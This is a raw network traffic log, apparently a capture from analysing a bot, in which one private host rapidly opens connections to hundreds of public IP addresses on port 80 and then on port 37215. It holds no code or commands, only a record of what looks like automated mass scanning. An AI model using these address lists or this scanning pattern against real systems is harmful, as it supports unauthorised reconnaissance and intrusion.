Dec 28, 2024 20:41:50.030973911 CET	28662	80	192.168.2.23	205.186.31.130
Dec 28, 2024 20:41:50.030988932 CET	28662	80	192.168.2.23	110.68.241.159
Dec 28, 2024 20:41:50.031003952 CET	28662	80	192.168.2.23	194.29.107.167
Dec 28, 2024 20:41:50.031008005 CET	28662	80	192.168.2.23	91.179.19.106
Dec 28, 2024 20:41:50.031018019 CET	28662	80	192.168.2.23	187.216.132.148
Dec 28, 2024 20:41:50.031025887 CET	28662	80	192.168.2.23	52.125.249.191
Dec 28, 2024 20:41:50.031025887 CET	28662	80	192.168.2.23	47.254.141.139
Dec 28, 2024 20:41:50.031063080 CET	28662	80	192.168.2.23	169.33.202.77
Dec 28, 2024 20:41:50.031066895 CET	28662	80	192.168.2.23	8.177.108.31
Dec 28, 2024 20:41:50.031071901 CET	28662	80	192.168.2.23	116.8.69.55
Dec 28, 2024 20:41:50.031075001 CET	28662	80	192.168.2.23	223.232.208.20
Dec 28, 2024 20:41:50.031080008 CET	28662	80	192.168.2.23	148.70.151.213
Dec 28, 2024 20:41:50.031104088 CET	28662	80	192.168.2.23	206.182.249.226
Dec 28, 2024 20:41:50.031112909 CET	28662	80	192.168.2.23	206.38.21.29
Dec 28, 2024 20:41:50.031121016 CET	28662	80	192.168.2.23	17.70.108.121
Dec 28, 2024 20:41:50.031121016 CET	28662	80	192.168.2.23	13.90.194.40
Dec 28, 2024 20:41:50.031121969 CET	28662	80	192.168.2.23	72.13.58.36
Dec 28, 2024 20:41:50.031124115 CET	28662	80	192.168.2.23	125.235.77.39
Dec 28, 2024 20:41:50.031124115 CET	28662	80	192.168.2.23	69.187.11.15
Dec 28, 2024 20:41:50.031133890 CET	28662	80	192.168.2.23	119.40.9.243
Dec 28, 2024 20:41:50.031157970 CET	28662	80	192.168.2.23	50.252.161.187
Dec 28, 2024 20:41:50.031162977 CET	28662	80	192.168.2.23	190.212.112.204
Dec 28, 2024 20:41:50.031162977 CET	28662	80	192.168.2.23	205.78.231.83
Dec 28, 2024 20:41:50.031177998 CET	28662	80	192.168.2.23	159.101.122.14
Dec 28, 2024 20:41:50.031177998 CET	28662	80	192.168.2.23	113.199.82.56
Dec 28, 2024 20:41:50.031186104 CET	28662	80	192.168.2.23	179.84.176.141
Dec 28, 2024 20:41:50.031193018 CET	28662	80	192.168.2.23	111.15.10.33
Dec 28, 2024 20:41:50.031199932 CET	28662	80	192.168.2.23	145.16.228.68
Dec 28, 2024 20:41:50.031213999 CET	28662	80	192.168.2.23	36.158.26.29
Dec 28, 2024 20:41:50.031269073 CET	28662	80	192.168.2.23	114.166.69.136
Dec 28, 2024 20:41:50.031286955 CET	28662	80	192.168.2.23	181.191.90.170
Dec 28, 2024 20:41:50.031286955 CET	28662	80	192.168.2.23	79.220.222.178
Dec 28, 2024 20:41:50.031289101 CET	28662	80	192.168.2.23	109.217.189.136
Dec 28, 2024 20:41:50.031292915 CET	28662	80	192.168.2.23	207.143.162.106
Dec 28, 2024 20:41:50.031295061 CET	28662	80	192.168.2.23	108.169.253.51
Dec 28, 2024 20:41:50.031318903 CET	28662	80	192.168.2.23	181.247.4.200
Dec 28, 2024 20:41:50.031318903 CET	28662	80	192.168.2.23	64.79.80.161
Dec 28, 2024 20:41:50.031320095 CET	28662	80	192.168.2.23	188.153.30.8
Dec 28, 2024 20:41:50.031327009 CET	28662	80	192.168.2.23	41.77.57.134
Dec 28, 2024 20:41:50.031338930 CET	28662	80	192.168.2.23	38.80.46.1
Dec 28, 2024 20:41:50.031343937 CET	28662	80	192.168.2.23	143.215.172.128
Dec 28, 2024 20:41:50.031356096 CET	28662	80	192.168.2.23	139.238.199.232
Dec 28, 2024 20:41:50.031373024 CET	28662	80	192.168.2.23	169.2.16.70
Dec 28, 2024 20:41:50.031373024 CET	28662	80	192.168.2.23	194.114.135.70
Dec 28, 2024 20:41:50.031373024 CET	28662	80	192.168.2.23	128.51.78.98
Dec 28, 2024 20:41:50.031387091 CET	28662	80	192.168.2.23	170.139.29.184
Dec 28, 2024 20:41:50.031393051 CET	28662	80	192.168.2.23	169.58.249.201
Dec 28, 2024 20:41:50.031393051 CET	28662	80	192.168.2.23	219.78.103.106
Dec 28, 2024 20:41:50.031394005 CET	28662	80	192.168.2.23	124.40.150.10
Dec 28, 2024 20:41:50.031395912 CET	28662	80	192.168.2.23	206.156.133.166
Dec 28, 2024 20:41:50.031398058 CET	28662	80	192.168.2.23	191.70.254.186
Dec 28, 2024 20:41:50.031408072 CET	28662	80	192.168.2.23	95.182.251.71
Dec 28, 2024 20:41:50.031414986 CET	28662	80	192.168.2.23	98.199.216.38
Dec 28, 2024 20:41:50.031415939 CET	28662	80	192.168.2.23	24.27.39.68
Dec 28, 2024 20:41:50.031431913 CET	28662	80	192.168.2.23	202.8.93.107
Dec 28, 2024 20:41:50.031431913 CET	28662	80	192.168.2.23	119.211.237.76
Dec 28, 2024 20:41:50.031445980 CET	28662	80	192.168.2.23	58.209.133.190
Dec 28, 2024 20:41:50.031455040 CET	28662	80	192.168.2.23	63.241.159.230
Dec 28, 2024 20:41:50.031459093 CET	28662	80	192.168.2.23	208.221.189.152
Dec 28, 2024 20:41:50.031460047 CET	28662	80	192.168.2.23	151.44.143.255
Dec 28, 2024 20:41:50.031460047 CET	28662	80	192.168.2.23	32.193.64.63
Dec 28, 2024 20:41:50.031461954 CET	28662	80	192.168.2.23	218.193.23.124
Dec 28, 2024 20:41:50.031466007 CET	28662	80	192.168.2.23	124.88.10.9
Dec 28, 2024 20:41:50.031475067 CET	28662	80	192.168.2.23	210.222.231.4
Dec 28, 2024 20:41:50.031475067 CET	28662	80	192.168.2.23	111.185.205.125
Dec 28, 2024 20:41:50.031475067 CET	28662	80	192.168.2.23	115.195.166.238
Dec 28, 2024 20:41:50.031486034 CET	28662	80	192.168.2.23	166.214.108.167
Dec 28, 2024 20:41:50.031502008 CET	28662	80	192.168.2.23	216.61.73.48
Dec 28, 2024 20:41:50.031502008 CET	28662	80	192.168.2.23	63.177.94.145
Dec 28, 2024 20:41:50.031505108 CET	28662	80	192.168.2.23	60.29.140.145
Dec 28, 2024 20:41:50.031521082 CET	28662	80	192.168.2.23	207.63.164.139
Dec 28, 2024 20:41:50.031527996 CET	28662	80	192.168.2.23	186.130.150.149
Dec 28, 2024 20:41:50.031528950 CET	28662	80	192.168.2.23	176.133.237.115
Dec 28, 2024 20:41:50.031527996 CET	28662	80	192.168.2.23	105.29.144.38
Dec 28, 2024 20:41:50.031531096 CET	28662	80	192.168.2.23	173.25.98.59
Dec 28, 2024 20:41:50.031531096 CET	28662	80	192.168.2.23	2.143.127.218
Dec 28, 2024 20:41:50.031533957 CET	28662	80	192.168.2.23	9.180.216.17
Dec 28, 2024 20:41:50.031533957 CET	28662	80	192.168.2.23	115.215.1.149
Dec 28, 2024 20:41:50.031543016 CET	28662	80	192.168.2.23	93.51.102.130
Dec 28, 2024 20:41:50.031544924 CET	28662	80	192.168.2.23	99.189.52.37
Dec 28, 2024 20:41:50.031555891 CET	28662	80	192.168.2.23	5.14.181.16
Dec 28, 2024 20:41:50.031563997 CET	28662	80	192.168.2.23	71.134.217.37
Dec 28, 2024 20:41:50.031568050 CET	28662	80	192.168.2.23	85.106.155.85
Dec 28, 2024 20:41:50.031568050 CET	28662	80	192.168.2.23	125.200.5.25
Dec 28, 2024 20:41:50.031570911 CET	28662	80	192.168.2.23	9.137.45.70
Dec 28, 2024 20:41:50.031570911 CET	28662	80	192.168.2.23	61.190.54.12
Dec 28, 2024 20:41:50.031579971 CET	28662	80	192.168.2.23	139.32.223.60
Dec 28, 2024 20:41:50.031579971 CET	28662	80	192.168.2.23	45.196.239.38
Dec 28, 2024 20:41:50.031583071 CET	28662	80	192.168.2.23	143.220.210.107
Dec 28, 2024 20:41:50.031584978 CET	28662	80	192.168.2.23	126.178.8.242
Dec 28, 2024 20:41:50.031595945 CET	28662	80	192.168.2.23	176.190.2.11
Dec 28, 2024 20:41:50.031595945 CET	28662	80	192.168.2.23	109.73.37.48
Dec 28, 2024 20:41:50.031603098 CET	28662	80	192.168.2.23	200.8.133.169
Dec 28, 2024 20:41:50.031605959 CET	28662	80	192.168.2.23	212.156.26.225
Dec 28, 2024 20:41:50.031605959 CET	28662	80	192.168.2.23	47.132.253.214
Dec 28, 2024 20:41:50.031605959 CET	28662	80	192.168.2.23	36.128.22.97
Dec 28, 2024 20:41:50.031606913 CET	28662	80	192.168.2.23	207.122.118.244
Dec 28, 2024 20:41:50.031642914 CET	28662	80	192.168.2.23	198.153.84.141
Dec 28, 2024 20:41:50.031646013 CET	28662	80	192.168.2.23	212.70.212.103
Dec 28, 2024 20:41:50.031671047 CET	28662	80	192.168.2.23	213.237.37.52
Dec 28, 2024 20:41:50.031671047 CET	28662	80	192.168.2.23	115.45.218.132
Dec 28, 2024 20:41:50.031677961 CET	28662	80	192.168.2.23	64.161.140.145
Dec 28, 2024 20:41:50.031681061 CET	28662	80	192.168.2.23	193.55.247.34
Dec 28, 2024 20:41:50.031697989 CET	28662	80	192.168.2.23	105.81.2.204
Dec 28, 2024 20:41:50.031699896 CET	28662	80	192.168.2.23	165.211.194.185
Dec 28, 2024 20:41:50.031699896 CET	28662	80	192.168.2.23	111.170.93.161
Dec 28, 2024 20:41:50.031714916 CET	28662	80	192.168.2.23	145.98.45.66
Dec 28, 2024 20:41:50.031717062 CET	28662	80	192.168.2.23	152.173.163.139
Dec 28, 2024 20:41:50.031717062 CET	28662	80	192.168.2.23	207.20.106.233
Dec 28, 2024 20:41:50.031717062 CET	28662	80	192.168.2.23	138.94.164.106
Dec 28, 2024 20:41:50.031722069 CET	28662	80	192.168.2.23	76.115.16.228
Dec 28, 2024 20:41:50.031723976 CET	28662	80	192.168.2.23	20.189.105.31
Dec 28, 2024 20:41:50.031780958 CET	28662	80	192.168.2.23	172.33.210.159
Dec 28, 2024 20:41:50.031780958 CET	28662	80	192.168.2.23	222.133.227.21
Dec 28, 2024 20:41:50.031800032 CET	28662	80	192.168.2.23	140.156.141.208
Dec 28, 2024 20:41:50.031805038 CET	28662	80	192.168.2.23	96.28.55.30
Dec 28, 2024 20:41:50.031805992 CET	28662	80	192.168.2.23	196.195.205.126
Dec 28, 2024 20:41:50.031809092 CET	28662	80	192.168.2.23	191.109.56.78
Dec 28, 2024 20:41:50.031825066 CET	28662	80	192.168.2.23	121.7.195.79
Dec 28, 2024 20:41:50.031827927 CET	28662	80	192.168.2.23	148.196.148.94
Dec 28, 2024 20:41:50.031827927 CET	28662	80	192.168.2.23	207.161.31.157
Dec 28, 2024 20:41:50.031833887 CET	28662	80	192.168.2.23	123.240.57.90
Dec 28, 2024 20:41:50.031833887 CET	28662	80	192.168.2.23	47.79.121.179
Dec 28, 2024 20:41:50.031836033 CET	28662	80	192.168.2.23	67.233.39.215
Dec 28, 2024 20:41:50.031857967 CET	28662	80	192.168.2.23	67.160.205.141
Dec 28, 2024 20:41:50.031869888 CET	28662	80	192.168.2.23	39.74.157.205
Dec 28, 2024 20:41:50.031872988 CET	28662	80	192.168.2.23	67.111.156.239
Dec 28, 2024 20:41:50.031877995 CET	28662	80	192.168.2.23	153.105.133.14
Dec 28, 2024 20:41:50.031889915 CET	28662	80	192.168.2.23	129.109.178.131
Dec 28, 2024 20:41:50.031889915 CET	28662	80	192.168.2.23	204.253.192.148
Dec 28, 2024 20:41:50.031889915 CET	28662	80	192.168.2.23	107.32.62.9
Dec 28, 2024 20:41:50.031903028 CET	28662	80	192.168.2.23	93.97.205.250
Dec 28, 2024 20:41:50.031908035 CET	28662	80	192.168.2.23	122.69.214.63
Dec 28, 2024 20:41:50.031927109 CET	28662	80	192.168.2.23	102.246.117.7
Dec 28, 2024 20:41:50.031929970 CET	28662	80	192.168.2.23	43.245.189.36
Dec 28, 2024 20:41:50.031933069 CET	28662	80	192.168.2.23	193.38.72.90
Dec 28, 2024 20:41:50.031936884 CET	28662	80	192.168.2.23	212.189.229.9
Dec 28, 2024 20:41:50.031939983 CET	28662	80	192.168.2.23	182.107.42.56
Dec 28, 2024 20:41:50.031956911 CET	28662	80	192.168.2.23	71.212.38.236
Dec 28, 2024 20:41:50.031958103 CET	28662	80	192.168.2.23	135.17.205.14
Dec 28, 2024 20:41:50.031958103 CET	28662	80	192.168.2.23	185.177.112.167
Dec 28, 2024 20:41:50.031961918 CET	28662	80	192.168.2.23	17.45.19.222
Dec 28, 2024 20:41:50.031963110 CET	28662	80	192.168.2.23	132.122.65.123
Dec 28, 2024 20:41:50.031982899 CET	28662	80	192.168.2.23	109.83.116.45
Dec 28, 2024 20:41:50.031982899 CET	28662	80	192.168.2.23	40.178.9.140
Dec 28, 2024 20:41:50.031985044 CET	28662	80	192.168.2.23	31.16.119.82
Dec 28, 2024 20:41:50.031985998 CET	28662	80	192.168.2.23	111.12.106.113
Dec 28, 2024 20:41:50.032002926 CET	28662	80	192.168.2.23	111.85.104.242
Dec 28, 2024 20:41:50.032004118 CET	28662	80	192.168.2.23	152.15.221.123
Dec 28, 2024 20:41:50.032012939 CET	28662	80	192.168.2.23	149.136.35.162
Dec 28, 2024 20:41:50.032021046 CET	28662	80	192.168.2.23	89.126.82.192
Dec 28, 2024 20:41:50.032023907 CET	28662	80	192.168.2.23	57.216.35.192
Dec 28, 2024 20:41:50.032040119 CET	28662	80	192.168.2.23	58.118.125.239
Dec 28, 2024 20:41:50.032052994 CET	28662	80	192.168.2.23	18.225.147.155
Dec 28, 2024 20:41:50.032056093 CET	28662	80	192.168.2.23	98.241.160.80
Dec 28, 2024 20:41:50.032059908 CET	28662	80	192.168.2.23	77.4.113.105
Dec 28, 2024 20:41:50.032080889 CET	28662	80	192.168.2.23	170.38.254.46
Dec 28, 2024 20:41:50.032083988 CET	28662	80	192.168.2.23	14.146.68.100
Dec 28, 2024 20:41:50.032083988 CET	28662	80	192.168.2.23	180.220.75.20
Dec 28, 2024 20:41:50.032084942 CET	28662	80	192.168.2.23	62.147.164.213
Dec 28, 2024 20:41:50.032084942 CET	28662	80	192.168.2.23	191.106.56.253
Dec 28, 2024 20:41:50.032089949 CET	28662	80	192.168.2.23	77.128.112.110
Dec 28, 2024 20:41:50.032089949 CET	28662	80	192.168.2.23	82.213.212.28
Dec 28, 2024 20:41:50.032089949 CET	28662	80	192.168.2.23	76.94.173.255
Dec 28, 2024 20:41:50.032093048 CET	28662	80	192.168.2.23	98.70.125.112
Dec 28, 2024 20:41:50.032093048 CET	28662	80	192.168.2.23	96.11.232.94
Dec 28, 2024 20:41:50.032095909 CET	28662	80	192.168.2.23	119.168.132.94
Dec 28, 2024 20:41:50.032095909 CET	28662	80	192.168.2.23	208.1.206.100
Dec 28, 2024 20:41:50.032120943 CET	28662	80	192.168.2.23	41.63.227.45
Dec 28, 2024 20:41:50.032123089 CET	28662	80	192.168.2.23	60.130.47.235
Dec 28, 2024 20:41:50.032134056 CET	28662	80	192.168.2.23	19.38.221.87
Dec 28, 2024 20:41:50.032149076 CET	28662	80	192.168.2.23	173.255.150.46
Dec 28, 2024 20:41:50.032150030 CET	28662	80	192.168.2.23	144.195.77.57
Dec 28, 2024 20:41:50.032155991 CET	28662	80	192.168.2.23	174.2.45.195
Dec 28, 2024 20:41:50.032160997 CET	28662	80	192.168.2.23	190.118.64.231
Dec 28, 2024 20:41:50.032174110 CET	28662	80	192.168.2.23	154.212.7.233
Dec 28, 2024 20:41:50.032191992 CET	28662	80	192.168.2.23	147.145.246.191
Dec 28, 2024 20:41:50.032191992 CET	28662	80	192.168.2.23	31.129.123.208
Dec 28, 2024 20:41:50.032191992 CET	28662	80	192.168.2.23	111.116.41.162
Dec 28, 2024 20:41:50.032191992 CET	28662	80	192.168.2.23	73.196.138.109
Dec 28, 2024 20:41:50.032196045 CET	28662	80	192.168.2.23	34.99.78.237
Dec 28, 2024 20:41:50.032198906 CET	28662	80	192.168.2.23	89.241.247.25
Dec 28, 2024 20:41:50.032222986 CET	28662	80	192.168.2.23	100.30.86.236
Dec 28, 2024 20:41:50.032224894 CET	28662	80	192.168.2.23	24.225.99.78
Dec 28, 2024 20:41:50.032248020 CET	28662	80	192.168.2.23	86.83.45.153
Dec 28, 2024 20:41:50.032265902 CET	28662	80	192.168.2.23	111.206.55.117
Dec 28, 2024 20:41:50.032270908 CET	28662	80	192.168.2.23	106.167.65.229
Dec 28, 2024 20:41:50.032318115 CET	28662	80	192.168.2.23	76.240.107.246
Dec 28, 2024 20:41:50.032320976 CET	28662	80	192.168.2.23	23.11.1.242
Dec 28, 2024 20:41:50.032324076 CET	28662	80	192.168.2.23	67.23.85.32
Dec 28, 2024 20:41:50.032330990 CET	28662	80	192.168.2.23	137.22.163.21
Dec 28, 2024 20:41:50.032337904 CET	28662	80	192.168.2.23	116.237.177.205
Dec 28, 2024 20:41:50.032345057 CET	28662	80	192.168.2.23	101.212.66.221
Dec 28, 2024 20:41:50.032351017 CET	28662	80	192.168.2.23	202.195.143.1
Dec 28, 2024 20:41:50.032351017 CET	28662	80	192.168.2.23	113.138.94.139
Dec 28, 2024 20:41:50.032370090 CET	28662	80	192.168.2.23	142.100.224.185
Dec 28, 2024 20:41:50.032387972 CET	28662	80	192.168.2.23	210.165.200.45
Dec 28, 2024 20:41:50.032387972 CET	28662	80	192.168.2.23	57.83.253.34
Dec 28, 2024 20:41:50.032397985 CET	28662	80	192.168.2.23	129.229.220.230
Dec 28, 2024 20:41:50.032407999 CET	28662	80	192.168.2.23	143.251.135.124
Dec 28, 2024 20:41:50.032407999 CET	28662	80	192.168.2.23	112.64.87.32
Dec 28, 2024 20:41:50.032423019 CET	28662	80	192.168.2.23	91.39.43.111
Dec 28, 2024 20:41:50.032426119 CET	28662	80	192.168.2.23	124.166.135.112
Dec 28, 2024 20:41:50.032440901 CET	28662	80	192.168.2.23	220.149.109.158
Dec 28, 2024 20:41:50.032464981 CET	28662	80	192.168.2.23	62.113.90.217
Dec 28, 2024 20:41:50.032464981 CET	28662	80	192.168.2.23	195.95.185.111
Dec 28, 2024 20:41:50.032468081 CET	28662	80	192.168.2.23	207.89.146.91
Dec 28, 2024 20:41:50.032480001 CET	28662	80	192.168.2.23	57.107.66.36
Dec 28, 2024 20:41:50.032561064 CET	28662	80	192.168.2.23	187.51.239.145
Dec 28, 2024 20:41:50.032758951 CET	28662	80	192.168.2.23	213.53.13.51
Dec 28, 2024 20:41:50.032759905 CET	28662	80	192.168.2.23	17.120.77.81
Dec 28, 2024 20:41:50.032778025 CET	28662	80	192.168.2.23	164.22.77.48
Dec 28, 2024 20:41:50.032780886 CET	28662	80	192.168.2.23	200.32.74.39
Dec 28, 2024 20:41:50.032783031 CET	28662	80	192.168.2.23	138.178.209.97
Dec 28, 2024 20:41:50.032784939 CET	28662	80	192.168.2.23	86.115.66.152
Dec 28, 2024 20:41:50.032787085 CET	28662	80	192.168.2.23	187.213.135.198
Dec 28, 2024 20:41:50.032790899 CET	28662	80	192.168.2.23	144.133.219.23
Dec 28, 2024 20:41:50.032807112 CET	28662	80	192.168.2.23	93.104.145.97
Dec 28, 2024 20:41:50.032809973 CET	28662	80	192.168.2.23	23.52.24.77
Dec 28, 2024 20:41:50.032835960 CET	28662	80	192.168.2.23	123.47.93.55
Dec 28, 2024 20:41:50.032835960 CET	28662	80	192.168.2.23	157.32.110.94
Dec 28, 2024 20:41:50.032840014 CET	28662	80	192.168.2.23	63.192.110.23
Dec 28, 2024 20:41:50.032845020 CET	28662	80	192.168.2.23	37.102.104.58
Dec 28, 2024 20:41:50.032850981 CET	28662	80	192.168.2.23	60.32.5.56
Dec 28, 2024 20:41:50.032855034 CET	28662	80	192.168.2.23	42.129.141.32
Dec 28, 2024 20:41:50.032857895 CET	28662	80	192.168.2.23	61.2.113.51
Dec 28, 2024 20:41:50.032860994 CET	28662	80	192.168.2.23	95.249.190.78
Dec 28, 2024 20:41:50.032862902 CET	28662	80	192.168.2.23	70.49.138.224
Dec 28, 2024 20:41:50.032874107 CET	28662	80	192.168.2.23	107.254.199.66
Dec 28, 2024 20:41:50.032891989 CET	28662	80	192.168.2.23	60.209.31.45
Dec 28, 2024 20:41:50.032895088 CET	28662	80	192.168.2.23	113.202.81.255
Dec 28, 2024 20:41:50.032917976 CET	28662	80	192.168.2.23	106.114.79.198
Dec 28, 2024 20:41:50.032923937 CET	28662	80	192.168.2.23	177.10.168.242
Dec 28, 2024 20:41:50.032923937 CET	28662	80	192.168.2.23	61.235.200.11
Dec 28, 2024 20:41:50.032923937 CET	28662	80	192.168.2.23	191.217.226.28
Dec 28, 2024 20:41:50.032924891 CET	28662	80	192.168.2.23	208.152.212.180
Dec 28, 2024 20:41:50.032928944 CET	28662	80	192.168.2.23	185.222.232.188
Dec 28, 2024 20:41:50.032938004 CET	28662	80	192.168.2.23	131.34.57.117
Dec 28, 2024 20:41:50.032939911 CET	28662	80	192.168.2.23	131.135.84.28
Dec 28, 2024 20:41:50.032944918 CET	28662	80	192.168.2.23	198.173.102.104
Dec 28, 2024 20:41:50.032957077 CET	28662	80	192.168.2.23	216.10.127.158
Dec 28, 2024 20:41:50.032959938 CET	28662	80	192.168.2.23	141.186.155.102
Dec 28, 2024 20:41:50.032967091 CET	28662	80	192.168.2.23	176.136.69.179
Dec 28, 2024 20:41:50.032968044 CET	28662	80	192.168.2.23	207.208.104.178
Dec 28, 2024 20:41:50.032980919 CET	28662	80	192.168.2.23	98.99.56.109
Dec 28, 2024 20:41:50.032989025 CET	28662	80	192.168.2.23	162.163.55.10
Dec 28, 2024 20:41:50.034153938 CET	28662	80	192.168.2.23	27.22.25.83
Dec 28, 2024 20:41:50.034161091 CET	28662	80	192.168.2.23	188.132.48.73
Dec 28, 2024 20:41:50.034164906 CET	28662	80	192.168.2.23	216.80.101.123
Dec 28, 2024 20:41:50.034164906 CET	28662	80	192.168.2.23	74.8.81.84
Dec 28, 2024 20:41:50.034173965 CET	28662	80	192.168.2.23	73.73.117.108
Dec 28, 2024 20:41:50.034174919 CET	28662	80	192.168.2.23	94.109.33.174
Dec 28, 2024 20:41:50.034193993 CET	28662	80	192.168.2.23	95.48.55.24
Dec 28, 2024 20:41:50.034193993 CET	28662	80	192.168.2.23	135.10.35.187
Dec 28, 2024 20:41:50.034205914 CET	28662	80	192.168.2.23	139.137.43.239
Dec 28, 2024 20:41:50.034213066 CET	28662	80	192.168.2.23	103.63.55.194
Dec 28, 2024 20:41:50.034219980 CET	28662	80	192.168.2.23	184.242.134.75
Dec 28, 2024 20:41:50.034226894 CET	28662	80	192.168.2.23	146.128.242.96
Dec 28, 2024 20:41:50.034235001 CET	28662	80	192.168.2.23	213.58.161.44
Dec 28, 2024 20:41:50.034236908 CET	28662	80	192.168.2.23	143.215.212.45
Dec 28, 2024 20:41:50.034257889 CET	28662	80	192.168.2.23	115.68.130.249
Dec 28, 2024 20:41:50.041397095 CET	28660	37215	192.168.2.23	197.233.41.179
Dec 28, 2024 20:41:50.041455030 CET	28660	37215	192.168.2.23	197.43.204.179
Dec 28, 2024 20:41:50.041484118 CET	28660	37215	192.168.2.23	156.152.173.25
Dec 28, 2024 20:41:50.041484118 CET	28660	37215	192.168.2.23	197.73.234.190
Dec 28, 2024 20:41:50.041538954 CET	28660	37215	192.168.2.23	41.165.5.157
Dec 28, 2024 20:41:50.041553974 CET	28660	37215	192.168.2.23	197.57.177.118
Dec 28, 2024 20:41:50.041572094 CET	28660	37215	192.168.2.23	197.85.223.196
Dec 28, 2024 20:41:50.041572094 CET	28660	37215	192.168.2.23	156.133.202.69
Dec 28, 2024 20:41:50.041583061 CET	28660	37215	192.168.2.23	156.210.58.0
Dec 28, 2024 20:41:50.041603088 CET	28660	37215	192.168.2.23	197.123.103.117
Dec 28, 2024 20:41:50.041604042 CET	28660	37215	192.168.2.23	41.51.71.133
Dec 28, 2024 20:41:50.041604042 CET	28660	37215	192.168.2.23	197.78.97.70
Dec 28, 2024 20:41:50.041604042 CET	28660	37215	192.168.2.23	41.12.15.19
Dec 28, 2024 20:41:50.041614056 CET	28660	37215	192.168.2.23	197.148.164.42
Dec 28, 2024 20:41:50.041619062 CET	28660	37215	192.168.2.23	41.78.5.80
Dec 28, 2024 20:41:50.041631937 CET	28660	37215	192.168.2.23	197.46.10.28
Dec 28, 2024 20:41:50.041636944 CET	28660	37215	192.168.2.23	156.230.78.97
Dec 28, 2024 20:41:50.041671991 CET	28660	37215	192.168.2.23	156.206.41.225
Dec 28, 2024 20:41:50.041671991 CET	28660	37215	192.168.2.23	197.250.62.163
Dec 28, 2024 20:41:50.041683912 CET	28660	37215	192.168.2.23	197.245.51.67
Dec 28, 2024 20:41:50.041687965 CET	28660	37215	192.168.2.23	41.5.187.21
Dec 28, 2024 20:41:50.041702032 CET	28660	37215	192.168.2.23	41.71.196.80
Dec 28, 2024 20:41:50.041702032 CET	28660	37215	192.168.2.23	156.127.0.64
Dec 28, 2024 20:41:50.041703939 CET	28660	37215	192.168.2.23	156.118.89.21
Dec 28, 2024 20:41:50.041711092 CET	28660	37215	192.168.2.23	41.234.110.43
Dec 28, 2024 20:41:50.041721106 CET	28660	37215	192.168.2.23	41.132.154.53
Dec 28, 2024 20:41:50.041721106 CET	28660	37215	192.168.2.23	41.229.173.153
Dec 28, 2024 20:41:50.041770935 CET	28660	37215	192.168.2.23	197.201.82.98
Dec 28, 2024 20:41:50.041770935 CET	28660	37215	192.168.2.23	197.100.168.79
Dec 28, 2024 20:41:50.041771889 CET	28660	37215	192.168.2.23	197.131.224.40
Dec 28, 2024 20:41:50.041795015 CET	28660	37215	192.168.2.23	41.62.174.230
Dec 28, 2024 20:41:50.041795015 CET	28660	37215	192.168.2.23	156.39.111.157
Dec 28, 2024 20:41:50.041799068 CET	28660	37215	192.168.2.23	156.142.161.67
Dec 28, 2024 20:41:50.041812897 CET	28660	37215	192.168.2.23	41.154.182.77
Dec 28, 2024 20:41:50.041815042 CET	28660	37215	192.168.2.23	156.76.156.213
Dec 28, 2024 20:41:50.041821003 CET	28660	37215	192.168.2.23	156.202.186.250
Dec 28, 2024 20:41:50.041821003 CET	28660	37215	192.168.2.23	197.154.67.18
Dec 28, 2024 20:41:50.041831970 CET	28660	37215	192.168.2.23	197.148.148.32
Dec 28, 2024 20:41:50.041832924 CET	28660	37215	192.168.2.23	197.66.108.56
Dec 28, 2024 20:41:50.041837931 CET	28660	37215	192.168.2.23	197.147.152.74
Dec 28, 2024 20:41:50.041850090 CET	28660	37215	192.168.2.23	156.102.25.134
Dec 28, 2024 20:41:50.041850090 CET	28660	37215	192.168.2.23	156.36.1.245
Dec 28, 2024 20:41:50.041850090 CET	28660	37215	192.168.2.23	156.94.58.27
Dec 28, 2024 20:41:50.041874886 CET	28660	37215	192.168.2.23	41.12.184.186
Dec 28, 2024 20:41:50.041877031 CET	28660	37215	192.168.2.23	41.124.39.219
Dec 28, 2024 20:41:50.041877031 CET	28660	37215	192.168.2.23	41.29.38.216
Dec 28, 2024 20:41:50.041877985 CET	28660	37215	192.168.2.23	41.159.94.204
Dec 28, 2024 20:41:50.041878939 CET	28660	37215	192.168.2.23	41.220.97.13
Dec 28, 2024 20:41:50.041878939 CET	28660	37215	192.168.2.23	156.51.185.184
Dec 28, 2024 20:41:50.041881084 CET	28660	37215	192.168.2.23	197.254.20.156
Dec 28, 2024 20:41:50.041887999 CET	28660	37215	192.168.2.23	197.143.201.254
Dec 28, 2024 20:41:50.041887999 CET	28660	37215	192.168.2.23	41.149.91.63
Dec 28, 2024 20:41:50.041887999 CET	28660	37215	192.168.2.23	156.101.103.0
Dec 28, 2024 20:41:50.041888952 CET	28660	37215	192.168.2.23	41.62.50.189
Dec 28, 2024 20:41:50.041893005 CET	28660	37215	192.168.2.23	41.25.63.116
Dec 28, 2024 20:41:50.041893005 CET	28660	37215	192.168.2.23	41.196.42.227
Dec 28, 2024 20:41:50.041903019 CET	28660	37215	192.168.2.23	197.1.248.50
Dec 28, 2024 20:41:50.041903019 CET	28660	37215	192.168.2.23	197.168.124.115
Dec 28, 2024 20:41:50.041904926 CET	28660	37215	192.168.2.23	41.254.219.70
Dec 28, 2024 20:41:50.041909933 CET	28660	37215	192.168.2.23	156.53.50.123
Dec 28, 2024 20:41:50.041920900 CET	28660	37215	192.168.2.23	197.13.89.121
Dec 28, 2024 20:41:50.041927099 CET	28660	37215	192.168.2.23	41.97.218.194
Dec 28, 2024 20:41:50.041930914 CET	28660	37215	192.168.2.23	156.141.7.42
Dec 28, 2024 20:41:50.041939974 CET	28660	37215	192.168.2.23	41.45.201.97
Dec 28, 2024 20:41:50.041939974 CET	28660	37215	192.168.2.23	156.215.122.0
Dec 28, 2024 20:41:50.041955948 CET	28660	37215	192.168.2.23	197.100.93.43
Dec 28, 2024 20:41:50.041959047 CET	28660	37215	192.168.2.23	41.230.57.52
Dec 28, 2024 20:41:50.041963100 CET	28660	37215	192.168.2.23	197.57.4.133
Dec 28, 2024 20:41:50.041968107 CET	28660	37215	192.168.2.23	41.61.138.241
Dec 28, 2024 20:41:50.041970968 CET	28660	37215	192.168.2.23	156.199.139.212
Dec 28, 2024 20:41:50.041974068 CET	28660	37215	192.168.2.23	156.159.17.208
Dec 28, 2024 20:41:50.041985989 CET	28660	37215	192.168.2.23	156.112.34.127
Dec 28, 2024 20:41:50.041987896 CET	28660	37215	192.168.2.23	156.187.180.190
Dec 28, 2024 20:41:50.041987896 CET	28660	37215	192.168.2.23	156.217.111.74
Dec 28, 2024 20:41:50.041987896 CET	28660	37215	192.168.2.23	41.243.83.202
Dec 28, 2024 20:41:50.042000055 CET	28660	37215	192.168.2.23	156.51.184.169
Dec 28, 2024 20:41:50.042012930 CET	28660	37215	192.168.2.23	41.1.245.201
Dec 28, 2024 20:41:50.042012930 CET	28660	37215	192.168.2.23	41.30.63.223
